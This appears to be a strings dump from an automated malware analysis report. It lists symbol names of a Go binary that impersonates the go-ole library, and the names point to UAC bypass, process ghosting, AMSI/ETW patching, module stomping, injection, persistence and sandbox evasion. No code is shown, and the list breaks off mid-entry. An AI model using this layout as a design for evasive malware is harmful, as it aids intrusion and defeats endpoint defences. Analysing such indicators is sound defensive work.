"runtime.(*polldesc).info" Heuristic match: "runtime.srcfunc.name" Heuristic match: "runtime.(*func).name" Heuristic match: "internal/reflectlite.name.name" Heuristic match: "internal/reflectlite.rtype.name" Heuristic match: "internal/abi.(*functype).in" Heuristic match: "internal/reflectlite.flag.ro" Heuristic match: "internal/reflectlite.(*rtype).name" Heuristic match: "errors.is" Heuristic match: "errors.as" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.int32" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[sync.poolchainelt" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Heuristic match: "unicode.to" Heuristic match: "reflect.flag.ro" Heuristic match: "reflect.(*rtype).name" Heuristic match: "reflect.value.int" Pattern match: "eq.sync/atomic.pointer[internal/bisect.dedup" Heuristic match: "internal/godebug.(*setting).name" Pattern match: "eq.sync/atomic.pointer[internal/godebug.value" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.io/fs.patherror" Heuristic match: "os.direntry.name" Heuristic match: "os.(*filestat).name" Heuristic match: "os.direntry.info" Heuristic match: "os.(*file).name" Pattern match: "eq.sync/atomic.pointer[os.dirinfo" Heuristic match: "os.(*direntry).info" Heuristic match: "os.(*direntry).name" Heuristic match: "os.filewithoutreadfrom.name" Heuristic match: "os.(*filewithoutreadfrom).name" Heuristic match: "os.filewithoutwriteto.name" Heuristic match: "os.(*filewithoutwriteto).name" Pattern match: "eq.math/rand.lockedsource" Pattern match: "eq.math/rand.runtimesource" Pattern match: "eq.math/rand.rand" Pattern match: "github.com/go-ole/go-ole/internal/apihash.getprocaddressbyhash" Pattern match: "github.com/go-ole/go-ole/internal/apihash.djb2a" Pattern match: "github.com/go-ole/go-ole/internal/apihash.getprocaddressbyhash.func1" Pattern match: "github.com/go-ole/go-ole/internal/apihash.cstring" Pattern match: "github.com/go-ole/go-ole/internal/debug.init" Pattern match: "github.com/go-ole/go-ole/internal/debug.wantdebugconsole" Pattern match: "github.com/go-ole/go-ole/internal/debug.opendesktoplog" Pattern match: "github.com/go-ole/go-ole/internal/debug.waitkey" Pattern match: "github.com/go-ole/go-ole/internal/debug.waitkey.func1" Pattern match: "github.com/go-ole/go-ole/internal/debug.waitkey.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/debug.close" Pattern match: "github.com/go-ole/go-ole/internal/debug.close.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/debug.logf" Pattern match: "github.com/go-ole/go-ole/internal/debug.writeline" Pattern match: "github.com/go-ole/go-ole/internal/debug.writeconsole" Pattern match: "github.com/go-ole/go-ole/internal/debug.writefile" Pattern match: "github.com/go-ole/go-ole/internal/debug.writefile.deferwrap1" Pattern match: "golang.org/x/sys/cpu.init.0" Pattern match: "golang.org/x/sys/cpu.processoptions" Pattern match: "golang.org/x/sys/cpu.initoptions" Pattern match: "golang.org/x/sys/cpu.archinit" Pattern match: "golang.org/x/sys/cpu.isset" Pattern match: "golang.org/x/sys/cpu.init.1" Pattern match: "golang.org/x/sys/cpu.cpuid" Pattern match: "golang.org/x/sys/cpu.xgetbv" Pattern match: "eq.golang.org/x/sys/cpu.option" Pattern match: "golang.org/x/sys/cpu.option" Pattern match: "golang.org/x/crypto/chacha20.newunauthenticatedcipher" Pattern match: "golang.org/x/crypto/chacha20.hchacha20" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystream" Pattern match: "golang.org/x/crypto/internal/alias.inexactoverlap" Pattern match: "golang.org/x/crypto/internal/alias.anyoverlap" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystreamblocks" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystreamblocksgeneric" Pattern match: "golang.org/x/crypto/chacha20.quarterround" Pattern match: "golang.org/x/crypto/chacha20.addxor" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).verify" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).write" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).sum" Pattern match: "golang.org/x/crypto/internal/poly1305.finalize" Pattern match: "golang.org/x/crypto/internal/poly1305.select64" Pattern match: "golang.org/x/crypto/internal/poly1305.update" Pattern match: "golang.org/x/crypto/chacha20poly1305.init" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).noncesize" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).open" Pattern match: "golang.org/x/crypto/chacha20poly1305.setupstate" Pattern match: "golang.org/x/crypto/chacha20poly1305.sliceforappend" Pattern match: "golang.org/x/crypto/chacha20poly1305.writewithpadding" Pattern match: "golang.org/x/crypto/chacha20poly1305.writeuint64" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).opengeneric" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).setcounter" Pattern match: "golang.org/x/crypto/internal/poly1305.new" Pattern match: "golang.org/x/crypto/internal/poly1305.initialize" Pattern match: "golang.org/x/crypto/chacha20poly1305.chacha20poly1305open" Pattern match: "github.com/go-ole/go-ole/internal/payload.newaead" Pattern match: "golang.org/x/crypto/chacha20poly1305.new" Pattern match: "github.com/go-ole/go-ole/internal/payload.open" Pattern match: "github.com/go-ole/go-ole/internal/debug.info" Pattern match: "github.com/go-ole/go-ole/internal/debug.warn" Pattern match: "github.com/go-ole/go-ole/internal/debug.ok" Pattern match: "github.com/go-ole/go-ole/internal/payload.decryptfileinplace" Pattern match: "github.com/go-ole/go-ole/internal/payload.randomdropfilename" Pattern match: "github.com/go-ole/go-ole/internal/payload.randomsideloadfilename" Pattern match: "github.com/go-ole/go-ole/internal/payload.randomplainfilename" Pattern match: "github.com/go-ole/go-ole/internal/payload.opentomemory" Pattern match: "github.com/go-ole/go-ole/internal/payload.decompressbytes" Pattern match: "github.com/go-ole/go-ole/internal/payload.decompressbytes.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/payload.gatherkey" Pattern match: "github.com/go-ole/go-ole/internal/payload.unmaskshard" Pattern match: "github.com/go-ole/go-ole/internal/payload.joinshards" Pattern match: "eq.github.com/go-ole/go-ole/internal/payload.polyparams" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.init" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.map.init.0" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.nm" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.nm.func1" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.w" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.y1" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.yg" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.st" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.zm" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.mn" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.mn.func1" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.rb" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.o8" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.fb" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.pp" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.po" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.lj" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask" Pattern match: "github.com/go-ole/go-ole/internal/debug.step" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.jk" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.x5" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap12" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap11" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap10" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap9" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap8" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap7" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap6" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap5" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap4" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap3" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap2" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.createlogontask.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.u6" Pattern match: "eq.github.com/go-ole/go-ole/internal/taskcom.wd" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.iselevated" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.iselevated.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.elevateself" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.elevateself.func1" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.buildinf" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.fileexists" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.launchandconfirm" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.launchandconfirm.deferwrap2" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.launchandconfirm.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.clickok" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.clickok.func1" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.clickok.clickok.func1.func3" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.clickok.func2" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.mustutf16" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.dismissnetworkwindow" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.randomservicename" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.rndalpha" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.getsysid" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.getmodulehandle" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.djb2a" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.findsyscallid" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.isvalidsyscallstub" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.isvalidsyscallstub.func1" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.allocatevirtualmemory" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.protectvirtualmemory" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.createthreadex" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.waitforsingleobject" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.closehandle" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.allocatevirtualmemoryex" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.protectvirtualmemoryex" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.queryprocessbasicinfo" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.patchpebimagebase" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.createfilent" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.writefilent" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.createsectionimage" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.createprocessfromsection" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.createthreadinprocess" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.readvirtualmemoryex" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.writevirtualmemoryex" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.createremotethreadex" Pattern match: "github.com/go-ole/go-ole/internal/ntapi.syscall" Pattern match: "eq.github.com/go-ole/go-ole/internal/ntapi.unicodestring" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.ghostexecute" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.parsepeentrypoint" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.readremoteimagebase" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.setupprocessparameters" Pattern match: "github.com/go-ole/go-ole/internal/xstr.d" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.newunicodestringfromptr" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.newunicodestring" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.dospathtontpath" Pattern match: "github.com/go-ole/go-ole/internal/ghosting.randomfilename" Pattern match: "github.com/go-ole/go-ole/internal/stomp.patchtelemetry" Pattern match: "github.com/go-ole/go-ole/internal/stomp.patchetw" Pattern match: "github.com/go-ole/go-ole/internal/stomp.patchamsi" Pattern match: "github.com/go-ole/go-ole/internal/stomp.patchbytes" Pattern match: "github.com/go-ole/go-ole/internal/stomp.getrng" Pattern match: "github.com/go-ole/go-ole/internal/stomp.stomp" Pattern match: "github.com/go-ole/go-ole/internal/stomp.selectcandidates" Pattern match: "github.com/go-ole/go-ole/internal/stomp.selectcandidates.func1" Pattern match: "github.com/go-ole/go-ole/internal/stomp.stompforpe" Pattern match: "github.com/go-ole/go-ole/internal/debug.fail" Pattern match: "github.com/go-ole/go-ole/internal/stomp.stompforpe.func1" Pattern match: "github.com/go-ole/go-ole/internal/stomp.trystompdll" Pattern match: "github.com/go-ole/go-ole/internal/stomp.zeromem" Pattern match: "github.com/go-ole/go-ole/internal/stomp.copytomem" Pattern match: "github.com/go-ole/go-ole/internal/stomp.trystompdllforpe" Pattern match: "github.com/go-ole/go-ole/internal/stomp.stompfromfreshcopy" Pattern match: "github.com/go-ole/go-ole/internal/stomp.rndname" Pattern match: "github.com/go-ole/go-ole/internal/stomp.stompfromfreshcopy.func1" Pattern match: "github.com/go-ole/go-ole/internal/stomp.copyfile" Pattern match: "github.com/go-ole/go-ole/internal/stomp.copyfile.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/stomp.ismoduleloaded" Pattern match: "github.com/go-ole/go-ole/internal/stomp.protectimagerw" Pattern match: "github.com/go-ole/go-ole/internal/stomp.loaddll" Pattern match: "github.com/go-ole/go-ole/internal/stomp.findtextsection" Pattern match: "github.com/go-ole/go-ole/internal/stomp.getdllimagesize" Pattern match: "github.com/go-ole/go-ole/internal/stomp.getrng.func1" Pattern match: "github.com/go-ole/go-ole/internal/stomp.patchtelemetry.func1" Pattern match: "eq.github.com/go-ole/go-ole/internal/stomp.stompresult" Pattern match: "github.com/go-ole/go-ole/internal/memload.parsepe" Pattern match: "github.com/go-ole/go-ole/internal/memload.parsepe.func1" Pattern match: "github.com/go-ole/go-ole/internal/memload.loadandrun" Pattern match: "github.com/go-ole/go-ole/internal/memload.writemem" Pattern match: "github.com/go-ole/go-ole/internal/memload.sectionprotect" Pattern match: "github.com/go-ole/go-ole/internal/stomp.protectregion" Pattern match: "github.com/go-ole/go-ole/internal/memload.applyrelocs" Pattern match: "github.com/go-ole/go-ole/internal/memload.resolveimports" Pattern match: "github.com/go-ole/go-ole/internal/memload.executetls" Pattern match: "github.com/go-ole/go-ole/internal/memload.registerseh" Pattern match: "eq.github.com/go-ole/go-ole/internal/memload.pehdr" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.init" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.run" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.haswidenull" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.findxorkey" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.picktarget" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.xorencode" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.builddecoderstub" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.run.func1" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.run.deferwrap3" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.run.deferwrap2" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.run.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.generatepipename" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.createnamedpipe" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.waitconnectandwrite" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.waitconnectandwrite.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.buildpoisonpayload" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.findshellcodeinpeb" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.readremote" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.buildstager" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.stagercode" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.stagercode.func1" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.emitu32" Pattern match: "github.com/go-ole/go-ole/internal/p3inject.emiti32" Pattern match: "eq.github.com/go-ole/go-ole/internal/p3inject.startupinfow" Pattern match: "github.com/go-ole/go-ole/internal/scload.run" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.*internal/abi.type,go.shape.interface" Pattern match: "eq.net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.node[net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.entry[net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.indirect[net/netip.addrdetail" Pattern match: "hash.net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.entry[go.shape.struct" Pattern match: "golang.org/x/net/dns/dnsmessage.init" Pattern match: "golang.org/x/sys/windows.init" Pattern match: "golang.org/x/sys/windows.(*dllerror).error" Pattern match: "golang.org/x/sys/windows.(*dllerror).unwrap" Pattern match: "golang.org/x/sys/windows.loaddll" Pattern match: "golang.org/x/sys/windows.(*dll).findproc" Pattern match: "golang.org/x/sys/windows.byteptrfromstring" Pattern match: "golang.org/x/sys/windows.(*lazydll).load" Pattern match: "golang.org/x/sys/windows.(*lazydll).load.deferwrap1" Pattern match: "golang.org/x/sys/windows.(*lazyproc).find" Pattern match: "golang.org/x/sys/windows.(*lazyproc).find.deferwrap1" Pattern match: "golang.org/x/sys/windows.initcandosearchsystem32" Pattern match: "golang.org/x/sys/windows.(*lazydll).newproc" Pattern match: "golang.org/x/sys/windows.loadlibraryex" Pattern match: "golang.org/x/sys/windows.candosearchsystem32" Pattern match: "golang.org/x/sys/windows.isbasename" Pattern match: "golang.org/x/sys/windows.getsystemdirectory" Pattern match: "golang.org/x/sys/windows.utf16tostring" Pattern match: "golang.org/x/sys/windows.byteslicefromstring" Pattern match: "golang.org/x/sys/windows.stringtoutf16" Pattern match: "golang.org/x/sys/windows.utf16fromstring" Pattern match: "golang.org/x/sys/windows.utf16ptrfromstring" Pattern match: "golang.org/x/sys/windows.getstdhandle" Pattern match: "golang.org/x/sys/windows.getdiskfreespaceex" Pattern match: "golang.org/x/sys/windows.(*lazyproc).addr" Pattern match: "golang.org/x/sys/windows.(*lazyproc).mustfind" Pattern match: "golang.org/x/sys/windows.(*proc).addr" Pattern match: "golang.org/x/sys/windows.errnoerr" Pattern match: "golang.org/x/sys/windows._loadlibraryex" Pattern match: "eq.golang.org/x/sys/windows.dllerror" Pattern match: "eq.golang.org/x/sys/windows.dll" Pattern match: "eq.golang.org/x/sys/windows.proc" Pattern match: "eq.golang.org/x/sys/windows.lazydll" Pattern match: "eq.golang.org/x/sys/windows.lazyproc" Pattern match: "golang.org/x/sys/windows/registry.init" Pattern match: "golang.org/x/sys/windows/registry.key.close" Pattern match: "golang.org/x/sys/windows/registry.openkey" Pattern match: "golang.org/x/sys/windows/registry.createkey" Pattern match: "golang.org/x/sys/windows/registry.key.stat" Pattern match: "golang.org/x/sys/windows/registry.key.setvalue" Pattern match: "golang.org/x/sys/windows/registry.key.setstringvalue" Pattern match: "golang.org/x/sys/windows/registry.regcreatekeyex" Pattern match: "golang.org/x/sys/windows/registry.regsetvalueex" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.init.0" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.getuptime" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.getram" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.gethomefilescount" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.cursormoved" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.zs" Pattern match: "golang.org/x/sys/windows.stringtoutf16ptr" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.as" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.ky" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.ob" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.jq" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.lim" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.lim.deferwrap1" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func1" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.ku" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func2" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.bk" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func3" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func4" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.gi" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func5" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func6" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func7" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func8" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func9" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func10" Pattern match: "github.com/go-ole/go-ole/internal/syscheck.runchecksverbose.func11" Pattern match: "eq.os/exec.error" Pattern match: "eq.os/exec.wrappederror" Pattern match: "eq.os/exec.ctxresult" Pattern match: "github.com/go-ole/go-ole/internal/comhijack.repair" Pattern match: "github.com/go-ole/go-ole/internal/comhijack.qc" Pattern match: "github.com/go-ole/go-ole/internal/comhijack.o0" Pattern match: "github.com/go-ole/go-ole/internal/comhijack.u6" Pattern match: "github.com/go-ole/go-ole/internal/comhijack.eq" Pattern match: "github.com/go-ole/go-ole/internal/cmstp.isreentry" Pattern match: "github.com/go-ole/go-ole/internal/taskcom.pickprofile" Pattern match: "golang.org/x/sys@v0.30.0/cpu/cpu.go" Pattern match: "golang.org/x/sys@v0.30.0/cpu/cpu_x86.go" Pattern match: "golang.org/x/sys@v0.30.0/cpu/runtime_auxv_go121.go" Pattern match: "golang.org/x/sys@v0.30.0/cpu/cpu_gc_x86.s" Pattern match: "golang.org/x/crypto@v0.33.0/chacha20/chacha_generic.go" Pattern match: "golang.org/x/crypto@v0.33.0/chacha20/chacha_noasm.go" Pattern match: "golang.org/x/crypto@v0.33.0/internal/alias/alias.go" Pattern match: "golang.org/x/crypto@v0.33.0/chacha20/xor.go" Pattern match: "golang.org/x/crypto@v0.33.0/internal/poly1305/poly1305.go" Pattern match: "golang.org/x/crypto@v0.33.0/internal/poly1305/sum_amd64.go" Pattern match: "golang.org/x/crypto@v0.33.0/internal/poly1305/sum_generic.go" Pattern match: "golang.org/x/crypto@v0.33.0/internal/poly1305/sum_amd64.s" Pattern match: "golang.org/x/crypto@v0.33.0/chacha20poly1305/chacha20poly1305_amd64.go" Pattern match: "golang.org/x/crypto@v0.33.0/chacha20poly1305/chacha20poly1305.go" Pattern match: "golang.org/x/crypto@v0.33.0/chacha20poly1305/chacha20poly1305_generic.go" Pattern match: "golang.org/x/crypto@v0.33.0/chacha20poly1305/chacha20poly1305_amd64.s" Pattern match: "golang.org/x/net/dns/dnsmessage/message.go" Pattern match: "golang.org/x/net/dns/dnsmessage/svcb.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/syscall_windows.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/zsyscall_windows.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/dll_windows.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/syscall.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/security_windows.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/registry/zsyscall_windows.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/registry/key.go" Pattern match: "golang.org/x/sys@v0.30.0/windows/registry/value.go" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "windows-defender-management-powershell-group-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "windows-defender-management-powershell-group-wow64-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\windows-defender-management-powershell-group-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "0www.entrust.net/cps" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1" Heuristic match: "vwtartcom.gi" Pattern match: "osoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Heuristic match: "terop.sm" Pattern match: "microsoft.net/assembly/gac_64/microsoft.management.infrastructure.native/v4.0_1.0.0.0__31bf3856ad364e35/microsoft.management.infrastructure.native.dll" Heuristic match: "ystem.management.au" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\windows-defender-management-powershell-group-wow64-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\windows-defender-management-powershell-group-wow64-package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.digicert.com1$0" Pattern match: "oft.com/pki/crl/products/m" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "tcom.org/policy.@" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: 